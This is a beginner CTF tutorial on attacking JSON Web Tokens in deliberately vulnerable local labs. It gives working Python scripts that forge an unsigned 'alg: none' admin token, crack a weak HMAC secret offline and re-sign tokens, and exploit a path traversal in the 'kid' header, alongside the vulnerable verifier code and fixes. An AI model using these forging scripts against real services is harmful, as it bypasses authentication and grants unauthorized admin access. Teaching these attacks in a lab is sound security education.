Tutorial 03 / Tokens · 2026-09-13

JWT Attacks

A beginner-friendly CTF tutorial: decode JSON Web Tokens, bypass a missing signature check, crack a weak HMAC secret, and turn a key identifier into a path traversal.

In Broken Access Control, we tested access control by changing the user and the fields in a request. In this article, we will attack a different part of authentication: the token that tells the server who the user is.

Using Labs 10 and 11 of h5i-tutorial, we will learn:

We will use h5i to capture a real token, construct modified versions, and replay a request with a different Authorization header.

The targets are deliberately vulnerable local labs. Only test systems you own or have explicit permission to assess.

Before we begin

You need Python 3.11 or later, h5i, and the websec plugin. See the course setup for installation details.

$ git clone https://github.com/h5i-dev/h5i-tutorial.git
$ cd h5i-tutorial/websec
$ h5i websec --help

What is a JWT?

A JSON Web Token, or JWT, is a compact string commonly used to carry claims about a user. A token usually looks like this:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJndWVzdCIsInJvbGUiOiJndWVzdCJ9.signature

It has three dot-separated parts:

header.payload.signature

The header describes how the token is signed. The payload contains claims such as the user ID, role, issuer, and expiration time. The signature lets the server detect changes to the first two parts.

The header and payload are normally Base64url-encoded. Base64 is an encoding, not encryption. Anyone holding the token can decode and modify those sections. Security comes from the server verifying the signature with the correct algorithm and key.

That verification step is exactly what we will test.

Lab 10: inspect the guest token

Start the Passport lab:

$ ./run.sh 10

Open the token endpoint:

$ h5i browser open 'http://127.0.0.1:9100/api/token' \
  --session lab10 --new --capture
$ h5i websec show res_0 --session lab10 --raw

The response contains a guest JWT. Copy the token into a shell variable:

$ TOKEN='PASTE_THE_TOKEN_HERE'

Decode its header and payload:

$ TOKEN="$TOKEN" python3 - <<'PY'
import base64
import json
import os

token = os.environ["TOKEN"]
decode = lambda part: base64.urlsafe_b64decode(
    part + "=" * (-len(part) % 4)
)

header, payload, signature = token.split(".")
print(json.loads(decode(header)))
print(json.loads(decode(payload)))
print("signature bytes:", len(decode(signature)))
PY

The result is similar to:

{'alg': 'HS256', 'typ': 'JWT'}
{'sub': 'guest', 'role': 'guest', 'iss': 'passport'}
signature bytes: 32

HS256 means the server uses HMAC with SHA-256. The server and token issuer share a secret key. The header and payload are signed using that key, and the server should reject any token whose signature does not match.

Attack 1: make the signature optional

The JWT header is attacker-controlled input. A dangerous verifier may read the algorithm from that header and accept none, meaning no cryptographic signature.

Create a token whose payload claims the admin role:

$ FORGED=$(python3 - <<'PY'
import base64
import json

def part(obj):
    raw = json.dumps(obj, separators=(",", ":")).encode()
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()

header = part({"alg": "none", "typ": "JWT"})
payload = part({
    "sub": "guest",
    "role": "admin",
    "iss": "passport",
})
print(header + "." + payload + ".")
PY
)

The trailing dot matters. It leaves the third, signature segment empty while preserving the three-part JWT structure.

Replay the captured request, changing its path and adding the token:

$ h5i websec replay req_0 --session lab10 --create \
  --set path=/api/vault \
  --set "header.Authorization=Bearer $FORGED"

Note the seq in the replay output and inspect the corresponding response:

$ h5i websec show res_1 --session lab10 --raw

The response contains:

FLAG{jwt_alg_confusion}

We changed the role without knowing any secret because the verifier accepted a token with no signature.

Why did this work?

The vulnerable verifier reads alg from the untrusted token:

alg = head.get("alg", "HS256")

if alg.lower() == "none":
    return claims

The none branch returns the claims before verifying a signature. The attacker therefore controls both the decision to skip verification and the claims returned after it.

The server must choose the accepted algorithm. The token must not choose how its own authenticity will be checked.

Attack 2: crack a weak HMAC secret

Lab 10 contains a second, independent weakness. Even when it follows the HS256 path, the signing secret is a dictionary word.

An HMAC JWT gives us everything required to test candidate secrets locally:

Testing guesses requires no further requests to the server. This is an offline attack, so login rate limits do not help.

Try a small wordlist against the original guest token:

$ SECRET=$(TOKEN="$TOKEN" python3 - <<'PY'
import base64
import hashlib
import hmac
import os

token = os.environ["TOKEN"]
signed, _, signature = token.rpartition(".")

def b64(raw):
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()

words = [
    "secret",
    "password",
    "changeme",
    "letmein",
    "jwt",
    "key",
    "admin",
    "test",
]

for word in words:
    candidate = hmac.new(
        word.encode(),
        signed.encode(),
        hashlib.sha256,
    ).digest()
    if hmac.compare_digest(b64(candidate), signature):
        print(word)
        break
PY
)

$ printf '%s\n' "$SECRET"
letmein

Now use that secret to create a correctly signed admin token:

$ SIGNED_ADMIN=$(SECRET="$SECRET" python3 - <<'PY'
import base64
import hashlib
import hmac
import json
import os

def b64(raw):
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()

def part(obj):
    return b64(json.dumps(obj, separators=(",", ":")).encode())

header = part({"alg": "HS256", "typ": "JWT"})
payload = part({
    "sub": "guest",
    "role": "admin",
    "iss": "passport",
})
signed = header + "." + payload
signature = hmac.new(
    os.environ["SECRET"].encode(),
    signed.encode(),
    hashlib.sha256,
).digest()

print(signed + "." + b64(signature))
PY
)

Send it to the same endpoint:

$ h5i websec replay req_0 --session lab10 --create \
  --set path=/api/vault \
  --set "header.Authorization=Bearer $SIGNED_ADMIN"

This token passes the normal signature check. The vulnerability is no longer a missing check; it is a signing key that an attacker can recover cheaply.

Use a randomly generated secret with enough entropy, store it outside source code, and rotate it when exposure is possible.

Lab 11: when kid becomes a file path

Start the Keyring lab:

$ ./run.sh 11

Open its token endpoint and inspect the returned JWT:

$ h5i browser open 'http://127.0.0.1:9110/api/token' \
  --session lab11 --new --capture
$ h5i websec show res_0 --session lab11 --raw

Decode the token as before. This header contains an additional field:

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "main.key"
}

kid means key ID. It lets a verifier choose among multiple signing keys, which is useful during key rotation.

The danger is that the value comes from the untrusted token. The server must map it to a known key safely.

In this lab, it does not:

def key_for(kid):
    return (ROOT / "keys" / kid).read_bytes()

The server treats kid as part of a filesystem path. Therefore:

../static/brand.txt

escapes the keys directory and selects a public static file as the HMAC key.

We do not need to read the real secret key. We need to make the verifier use a file whose bytes we already know.

Save the exact key bytes

Fetch the public brand file through the same captured session:

$ h5i websec replay req_0 --session lab11 \
  --set path=/static/brand.txt

$ WORK=$(mktemp -d)
$ h5i websec show res_1 --session lab11 \
  --body-to "$WORK/brand.txt"

--body-to writes the response body exactly as received. That matters because the file includes a trailing newline. Copying visible terminal text can lose that byte and produce the wrong HMAC.

Now create an admin token whose kid points to the public file:

$ FORGED=$(python3 - "$WORK/brand.txt" <<'PY'
import base64
import hashlib
import hmac
import json
import sys

key = open(sys.argv[1], "rb").read()

def b64(raw):
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()

def part(obj):
    return b64(json.dumps(obj, separators=(",", ":")).encode())

header = part({
    "alg": "HS256",
    "typ": "JWT",
    "kid": "../static/brand.txt",
})
payload = part({"sub": "guest", "role": "admin"})
signed = header + "." + payload
signature = hmac.new(key, signed.encode(), hashlib.sha256).digest()

print(signed + "." + b64(signature))
PY
)

Send it to the protected HSM endpoint:

$ h5i websec replay req_0 --session lab11 --create \
  --set path=/api/hsm \
  --set "header.Authorization=Bearer $FORGED"

The response contains:

FLAG{jwt_kid_injection}

The signature is cryptographically valid. The bug is that the attacker selected the key used to validate it.

Fixing key selection

The safe pattern is a fixed server-side map:

KEYS = {
    "main-2026": current_key,
    "main-2025": previous_key,
}

key = KEYS.get(header.get("kid"))
if key is None:
    reject()

Reject unknown identifiers. Do not concatenate kid into a path, SQL query, shell command, or arbitrary URL.

JWT headers such as jku and x5u can name remote key locations. A verifier should ignore them unless the application has a strict, server-controlled allowlist and a genuine need to fetch keys remotely.

A reusable JWT testing method

When an application gives you a JWT:

  1. Decode the header and payload without assuming they are trustworthy.
  2. Identify the algorithm and every key-selection field.
  3. Check whether the verifier accepts an unsigned token.
  4. If HMAC is used, test whether the secret is weak—offline.
  5. Follow kid, jku, and x5u into the code or behavior that resolves the key.
  6. Check important claims such as issuer, audience, and expiration.
  7. Confirm the result by reaching a protected action, not merely by creating a token-shaped string.

Do not report “the JWT can be decoded.” That is normal. The finding begins when modified claims pass verification or when a token is accepted outside the context for which it was issued.

Summary

Lab 10 showed two independent JWT failures. alg: none allowed us to omit the signature, while a weak HMAC secret allowed us to generate a valid signature ourselves.

Lab 11 used a valid HMAC construction with a dangerous key lookup. By placing ../static/brand.txt in kid, we made the server verify our token using public bytes.

The common lesson is that cryptography does not rescue unsafe control flow. The server must fix the algorithm, validate all required claims, and select keys only from trusted server-side configuration.

When finished:

$ h5i browser close --session lab10
$ h5i browser close --session lab11
$ rm -rf "$WORK"
$ ./run.sh stop

In SQL Injection, we will move from authentication to SQL injection, beginning with visible database errors and ending with secrets extracted one bit—or one delay—at a time.

References

Next in the series

SQL Injection

Turn a broken search query into a database read, then extract secrets when the application reveals only a boolean or only its response time.

Run the labs yourself

42 deliberately vulnerable applications, one binary, no Docker and no accounts.